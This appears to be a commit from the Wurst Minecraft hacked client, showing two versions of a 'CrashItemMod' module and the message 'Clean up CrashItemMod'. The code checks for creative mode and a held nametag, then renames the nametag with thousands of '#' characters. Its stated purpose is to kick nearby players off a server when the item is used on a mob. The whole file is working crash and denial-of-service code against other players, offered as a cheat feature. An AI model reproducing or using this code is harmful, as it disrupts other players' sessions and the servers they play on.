/*
 * Copyright  2014 - 2016 | Wurst-Imperium | All rights reserved.
 * 
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
 */
package tk.wurst_client.mods;

import net.minecraft.client.gui.inventory.GuiInventory;
import net.minecraft.item.ItemNameTag;
import tk.wurst_client.utils.ChatUtils;

@Mod.Info(
	description = "Generates a CrashItem.\n"
		+ "Right click a mob with it to kick nearby players from the server.",
	name = "CrashItem",
	tags = "CrashNametag, CrashTag, crash item, crash nametag, crash tag",
	help = "Mods/CrashItem")
@Mod.Bypasses
public class CrashItemMod extends Mod
{
	@Override
	public void onEnable()
	{
		if(mc.player.inventory.getCurrentItem() == null
			|| !(mc.player.inventory.getCurrentItem().getItem() instanceof ItemNameTag))
		{
			ChatUtils.error("You are not holding a nametag in your hand.");
			setEnabled(false);
			return;
		}else if(!mc.player.capabilities.isCreativeMode)
		{
			ChatUtils.error("Creative mode only.");
			setEnabled(false);
			return;
		}
		String stackName = "";
		for(int i = 0; i < 3000; i++)
		{
			StringBuilder builder = new StringBuilder().append(stackName);
			stackName = builder.append("############").toString();
		}
		mc.player.inventory.getCurrentItem().setStackDisplayName(stackName);
		mc.displayGuiScreen(new GuiInventory(mc.player));
		mc.player.closeScreen();
		ChatUtils.message("CrashItem created. Right click a mob with it.");
		setEnabled(false);
	}
}

/*
 * Copyright  2014 - 2016 | Wurst-Imperium | All rights reserved.
 * 
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
 */
package tk.wurst_client.mods;

import net.minecraft.client.gui.inventory.GuiInventory;
import net.minecraft.item.ItemNameTag;
import net.minecraft.item.ItemStack;
import tk.wurst_client.utils.ChatUtils;

@Mod.Info(
	description = "Modifies a nametag so that it can kick people from the server.\n"
		+ "Right click a mob with the modified nametag to kick all nearby players.",
	name = "CrashItem",
	tags = "CrashNametag, CrashTag, crash item, crash nametag, crash tag",
	help = "Mods/CrashItem")
@Mod.Bypasses
public class CrashItemMod extends Mod
{
	@Override
	public void onEnable()
	{
		// check gamemode
		if(!mc.player.capabilities.isCreativeMode)
		{
			ChatUtils.error("Creative mode only.");
			setEnabled(false);
			return;
		}
		
		// check held item
		ItemStack heldStack = mc.player.inventory.getCurrentItem();
		if(heldStack == null || !(heldStack.getItem() instanceof ItemNameTag))
		{
			ChatUtils.error("You need a nametag in your hand.");
			setEnabled(false);
			return;
		}
		
		// modify held item
		StringBuilder stackName = new StringBuilder();
		for(int i = 0; i < 18000; i++)
			stackName.append('#');
		heldStack.setStackDisplayName(stackName.toString());
		
		// open & close the inventory
		// for some reason that's needed for the item to update
		mc.displayGuiScreen(new GuiInventory(mc.player));
		mc.player.closeScreen();
		
		ChatUtils.message("Nametag modified.");
		setEnabled(false);
	}
}

Clean up CrashItemMod